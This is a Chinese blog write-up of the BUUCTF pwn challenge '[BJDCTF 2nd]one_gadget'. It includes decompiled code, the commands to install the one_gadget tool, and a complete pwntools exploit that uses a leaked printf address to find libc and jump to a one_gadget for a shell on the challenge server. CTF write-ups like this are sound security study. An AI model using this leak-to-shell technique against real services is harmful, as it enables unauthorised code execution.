CTF-Pwn-[BJDCTF 2nd]one_gadget

♀尐吖头ヾ 提交于 2020-05-06 14:59:00

CTF-Pwn-[BJDCTF 2nd]one_gadget

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Pwn类,[BJDCTF 2nd]one_gadget

image-20200506102356850

下载题目的文件

one_gadget

思路

使用file命令查看,发现是64位的文件,使用ida64位打开,如果是在mac15下打不开在终端输入

sudo xattr -rd com.apple.quarantine /Users/tanglei/Desktop/CTF/IDA\ Pro\ 7.0/ida64.app

后面是ida64.app的位置

image-20200506104020815

使用ida64打开

image-20200506114848577

进入主函数,使用F5反编译后得到伪代码,结果f5按不出来,还是用mac的

image-20200506115610524

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (*v4)(void); // [rsp+8h] [rbp-18h]
  void (*v5)(void); // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(*(_QWORD *)&argc, argv, envp);
  printf("Give me your one gadget:");
  __isoc99_scanf("%ld", &v4);
  v5 = v4;
  v4();
  return 0;
}

看一看这个main方法,要我们输入一个gadget,然后它回打印出来,再来看看init方法

int init()
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  return printf("here is the gift for u:%p\n", &printf);
}

好像这个地址就直接给了,计算一下libc的基址,使用one_gadget,没有的话需要安装

ubuntu下安装

sudo apt -y install ruby
 
sudo gem install one_gadget

输入命令,可以看到四个地址

one_gadget libc-2.29.so

image-20200506123639224

写一个脚本

开始写exp

from pwn import *

r=remote("node3.buuoj.cn",27772)
elf=ELF("./one_gadget")
libc=ELF('libc-2.29.so')

one_gadget1=[0xe237f,0xe2383,0xe2386,0x106ef8]
addr=int(r.recvline()[23:-1],16)

libc_base=addr-libc.sym['printf']
one_gadget=libc_base+one_gadget1[3]

r.recvuntil("Give me your one gadget:")
r.sendline(str(one_gadget))
r.interactive()

测试

cd然后我们测试运行

python3 one_gadget.py 

image-20200506131204035

flag就找到了

感谢

BUUCTF

以及勤劳的自己

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!